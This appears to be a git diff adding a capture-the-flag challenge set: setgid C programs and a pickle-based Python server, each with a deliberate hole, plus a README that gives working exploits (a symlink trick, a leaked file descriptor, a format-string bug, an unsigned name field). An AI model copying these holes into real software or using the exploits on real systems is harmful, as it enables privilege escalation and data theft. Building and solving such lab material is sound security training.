aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--flags/Makefile21
-rw-r--r--flags/README.md182
-rw-r--r--flags/exec.c41
-rw-r--r--flags/format.c36
-rwxr-xr-xflags/make-keys.rsa11
-rw-r--r--flags/rsa-runner.c24
-rwxr-xr-xflags/rsa.py81
-rw-r--r--flags/simple.c23
-rw-r--r--flags/simple.not.the.flag1
9 files changed, 420 insertions, 0 deletions
diff --git a/flags/Makefile b/flags/Makefile
new file mode 100644
index 0000000..17fd13d
--- /dev/null
+++ b/flags/Makefile
@@ -0,0 +1,21 @@
+all: exec format rsa-runner simple
+
+exec: exec.c
+ gcc -o exec exec.c
+ chown root:exec exec
+ chmod 2755 exec
+
+format: format.c
+ gcc -o format format.c
+ chown root:format format
+ chmod 2755 format
+
+rsa-runner: rsa-runner.c
+ gcc -o rsa-runner rsa-runner.c
+ chown root:rsa rsa-runner
+ chmod 2755 rsa-runner
+
+simple: simple.c
+ gcc -o simple simple.c
+ chown root:simple simple
+ chmod 2755 simple
diff --git a/flags/README.md b/flags/README.md
new file mode 100644
index 0000000..04040a4
--- /dev/null
+++ b/flags/README.md
@@ -0,0 +1,182 @@
+Simple
+======
+
+Files
+-----
+
+ -rwxr-sr-x 1 root simple 5266 Apr 6 02:08 simple
+ -rw-r--r-- 1 root root 363 Apr 6 02:08 simple.c
+ -rw-r----- 1 root simple 33 Apr 6 02:00 simple.flag
+ -rw-r--r-- 1 root root 33 Apr 6 01:59 simple.not.the.flag
+
+Synopsis
+--------
+
+This program opens a file named "simple.not.the.flag" and prints its contents.
+The file containing the flag is named "/flags/simple.flag".
+
+Vulnerability
+-------------
+
+The open call looks in the current directory for a file named
+"simple.not.the.flag" and will follow symlinks, rather than opening the
+intended file named "/flags/simple.not.the.flag" which the unprivileged user
+has no control over.
+
+Exploit
+-------
+
+Change the current directory to one in which we have write permissions.
+
+ cd ~
+
+Create a symlink named "simple.not.the.flag" that points to the flag file we
+want.
+
+ ln -s /flags/simple.flag simple.not.the.flag
+
+Run the program from this directory.
+
+ /flags/simple
+
+Exec
+====
+
+Files
+-----
+
+ -rwxr-sr-x 1 root exec 6477 Apr 5 22:50 exec
+ -rw-r--r-- 1 root root 883 Apr 5 22:50 exec.c
+ -rw-r----- 1 root exec 33 Apr 5 00:32 exec.flag
+
+Synopsis
+--------
+
+This program:
+
+1. Opens the flag file "/flags/exec.flag".
+2. Reads it into memory.
+3. Forks a child process.
+4. Drops privileges in the child process before executing a user-specified
+program.
+5. Waits for the child to exit.
+
+Vulnerability
+-------------
+
+The program forgets to close the open file descriptor to the flag file before
+execing the user-specified program in step 4. Step 2 is simply misdirection
+supported by comments in the code.
+
+Exploit
+-------
+
+Write a program which performs the following operations on file descriptor
+number 3:
+
+1. Seeks to the beginning of the file.
+2. Reads the contents of the file and prints it out.
+
+Run the exec program given the name of the our exploit program to execute.
+
+RSA
+===
+
+Files
+-----
+
+ -rwxr-xr-x 1 root root 217 Apr 6 00:41 make-keys.rsa
+ -rw-r----- 1 root rsa 33 Apr 5 23:19 rsa.flag
+ -rw-r----- 1 root rsa 1600 Apr 6 00:48 rsa.keys
+ -rwxr-xr-x 1 root root 1966 Apr 6 23:12 rsa.py
+ -rwxr-sr-x 1 root rsa 5794 Apr 6 20:19 rsa-runner
+ -rw-r--r-- 1 root root 468 Apr 6 20:19 rsa-runner.c
+
+Synopsis
+--------
+
+The make-keys.rsa program is a python script which generates the rsa.keys
+keystore containing a private and public key for "Alice" and a public key for
+"Bob".
+The rsa-runner program is a setgid wrapper for rsa.py, since interpreted
+scripts cannot be run setgid.
+The rsa.py program reads the flag file and the keystore into memory and then
+starts a TCPServer to handle requests. When a request is received it is
+unpickled into a python object and the "request" property is examined.
+If the request property is the string "start" a new python object with the
+following properties is pickled and sent to the remote peer:
+
+ name = "Alice"
+ request = "get_flag"
+ keyid = MD5(DER encoding of Alice's public key)
+ signature = Sig(keyid + ":" + request, Alice's private key)
+
+If the request property is the string "get_flag" the message must pass these
+tests before the flag is sent to the remote peer:
+
+1. The the name property must exist in the keystore.
+2. The keyid property must match the MD5 hash of a key in the keystore.
+3. The name must not be the string "Alice".
+4. The signature is validated against the key in the keystore which matches the
+keyid property.
+
+Vulnerability
+-------------
+
+The name property is not covered by the signature, nor is it checked against
+keyid, nor is it used to select the signature verification key, so it can be
+modified without detection leaving a "valid" get_flag request.
+
+Exploit
+-------
+
+Using the python REPL, connect to the rsa.py server, send the "start" request,
+and unpickle the response.
+
+ >>> import socket, pickle
+ >>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ >>> sock.connect(('localhost', 6666))
+ >>> class Request:
+ ... pass
+ ...
+ >>> msg = Request()
+ >>> msg.request='start'
+ >>> sock.sendall(pickle.dumps(msg))
+ >>> buf = sock.recv(1024)
+ >>> msg2 = pickle.loads(buf)
+
+Reconnect to the server (this has something to do with the way I coded rsa.py),
+modify the name property of the reponse to "Bob" and send it back.
+
+ >>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ >>> sock.connect(('localhost', 6666))
+ >>> msg2.name='Bob'
+ >>> sock.sendall(pickle.dumps(msg2))
+
+Consume the response and unpickle it.
+
+ >>> buf = sock.recv(1024)
+ >>> pickle.loads(buf)
+
+Lottery
+=======
+
+Files
+-----
+
+ -rw-r----- 1 root 1666 33 Apr 5 22:33 lottery.flag
+
+Synopsis
+--------
+
+This is simply a flag file that can only be read by group 1666.
+
+Vulnerability
+-------------
+
+The CTF website allows competitors to create a user and group for themselves.
+
+Exploit
+-------
+
+Write a script to create users and groups until group number 1666 is assigned.
diff --git a/flags/exec.c b/flags/exec.c
new file mode 100644
index 0000000..24daf7d
--- /dev/null
+++ b/flags/exec.c
@@ -0,0 +1,41 @@
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+char flag[32];
+
+int main(int argc, char **argv) {
+ int fd;
+ pid_t pid;
+ int status;
+
+ fprintf(stderr, "real %d:%d effective %d:%d\n",
+ getuid(), getgid(), geteuid(), getegid());
+
+ fd = open("exec.flag", O_RDONLY);
+ if(-1 != fd) {
+ // load flag into memory where nobody will ever find it
+ read(fd, flag, sizeof(flag));
+ }
+ // we'll even run something for you!
+ if(argc != 2) {
+ fprintf(stderr, "give me something to run\n");
+ return -1;
+ }
+ pid = fork();
+ if(pid < 0) {
+ perror("fork failed");
+ }
+ if(0 == pid) {
+ // drop privs
+ seteuid(getuid());
+ setegid(getgid());
+ // exec tears down the address space, goodbye flag!
+ execlp(argv[1], argv[1], NULL);
+ perror("exec failed");
+ }
+ waitpid(pid, &status, 0);
+ return 0;
+}
diff --git a/flags/format.c b/flags/format.c
new file mode 100644
index 0000000..4fc30fd
--- /dev/null
+++ b/flags/format.c
@@ -0,0 +1,36 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+void hax(char *shellcode) {
+ int stack;
+ printf(shellcode, &stack);
+}
+
+int main(int argc, char **argv) {
+ char *buf, *p;
+ int i;
+
+ if(argc != 2) {
+ printf("What? Are you chicken?\n");
+ return -1;
+ }
+ // remove %n from format string, we're not *that* stupid
+ buf = strdup(argv[1]);
+ for(p = argv[1], i = 0; p[0]; ++p) {
+ if(p[0] == '%' && p[1] == 'n') {
+ ++p;
+ if(p[0]) {
+ continue;
+ } else {
+ break;
+ }
+ }
+ buf[i++] = p[0];
+ }
+ buf[i] = '\0';
+ hax(buf);
+ free(buf);
+ putchar('\n');
+ return 0;
+}
diff --git a/flags/make-keys.rsa b/flags/make-keys.rsa
new file mode 100755
index 0000000..e6fba64
--- /dev/null
+++ b/flags/make-keys.rsa
@@ -0,0 +1,11 @@
+#!/usr/bin/env python
+
+from Crypto.PublicKey import RSA
+import pickle
+
+keys = {}
+keys['Alice'] = RSA.generate(1024)
+keys['Bob'] = RSA.generate(1024).publickey()
+
+with open('rsa.keys', 'w') as f:
+ pickle.dump(keys, f)
diff --git a/flags/rsa-runner.c b/flags/rsa-runner.c
new file mode 100644
index 0000000..2b8c9d2
--- /dev/null
+++ b/flags/rsa-runner.c
@@ -0,0 +1,24 @@
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+int main(int argc, char **argv) {
+ pid_t pid;
+ int status;
+
+ fprintf(stderr, "real %d:%d effective %d:%d\n",
+ getuid(), getgid(), geteuid(), getegid());
+
+ pid = fork();
+ if(pid < 0) {
+ perror("fork failed");
+ }
+ if(0 == pid) {
+ execlp("/flags/rsa.py", "rsa.py", NULL);
+ perror("exec failed");
+ }
+ waitpid(pid, &status, 0);
+ return 0;
+}
diff --git a/flags/rsa.py b/flags/rsa.py
new file mode 100755
index 0000000..96fc947
--- /dev/null
+++ b/flags/rsa.py
@@ -0,0 +1,81 @@
+#!/usr/bin/env python
+
+# Load up the goods.
+with open('rsa.flag', 'r') as f:
+ flag = f.read(32)
+
+from Crypto.PublicKey import RSA
+from Crypto.Hash import MD5
+from Crypto import Random
+from SocketServer import TCPServer, StreamRequestHandler
+import pickle
+
+# Load up our keystore.
+# This should be a dict of names (strings) to RSA keys.
+with open('/flags/rsa.keys', 'r') as f:
+ keys = pickle.load(f)
+
+def keyid(key):
+ return MD5.new(key.publickey().exportKey('DER')).digest()
+
+def getkey(by_id):
+ for key in keys.values():
+ if keyid(key) == by_id:
+ return key
+
+def digest(msg):
+ buf = MD5.new(msg.keyid + ':' + msg.request).digest()
+ print "Message digest is {0}".format(buf.encode('hex'))
+ return buf
+
+def sign(msg):
+ rng = Random.new().read
+ return getkey(msg.keyid).sign(digest(msg), rng)
+
+def verify(msg):
+ return getkey(msg.keyid).verify(digest(msg), msg.signature)
+
+class Request:
+ pass
+
+class Handler(StreamRequestHandler):
+ def start(self):
+ # Ask Bob for his flag, this should be fun.
+ msg = Request()
+ msg.name = 'Alice'
+ msg.request = 'get_flag'
+ msg.keyid = keyid(keys[msg.name])
+ msg.signature = sign(msg)
+ pickle.dump(msg, self.wfile)
+
+ def get_flag(self, request):
+ # Make sure it's from someone we trust
+ if(request.name not in keys.keys()
+ or request.keyid not in
+ [keyid(key) for key in keys.values()]
+ or request.name == 'Alice'):
+ print "We don't trust this person"
+ return
+ # Verify the signature
+ if(not verify(request)):
+ print "This message was altered"
+ return
+ # Send the goods.
+ pickle.dump(flag, self.wfile)
+
+ def handle(self):
+ request = pickle.load(self.rfile)
+ print "we got: {0}".format(request)
+ if(request.request == 'start'):
+ self.start()
+ if(request.request == 'get_flag'):
+ self.get_flag(request)
+
+for port in range(6666, 6999):
+ try:
+ server = TCPServer(('localhost', port), Handler)
+ print 'server running at port {0}'.format(port)
+ break
+ except:
+ continue
+server.serve_forever()
diff --git a/flags/simple.c b/flags/simple.c
new file mode 100644
index 0000000..e69e8e5
--- /dev/null
+++ b/flags/simple.c
@@ -0,0 +1,23 @@
+#include <fcntl.h>
+#include <stdio.h>
+
+// this one is really simple
+int main() {
+ int fd;
+ char buff[32];
+ int len;
+
+ fd = open("simple.not.the.flag", O_RDONLY);
+ if(-1 == fd) {
+ perror("open failed");
+ return -1;
+ }
+ len = read(fd, buff, sizeof(buff));
+ if(len < 0) {
+ perror("read failed");
+ return -1;
+ }
+ write(1, buff, len);
+ putchar('\n');
+ return 0;
+}
diff --git a/flags/simple.not.the.flag b/flags/simple.not.the.flag
new file mode 100644
index 0000000..73fe8ce
--- /dev/null
+++ b/flags/simple.not.the.flag
@@ -0,0 +1 @@
+7db61f4aafe27bd210359d445241587a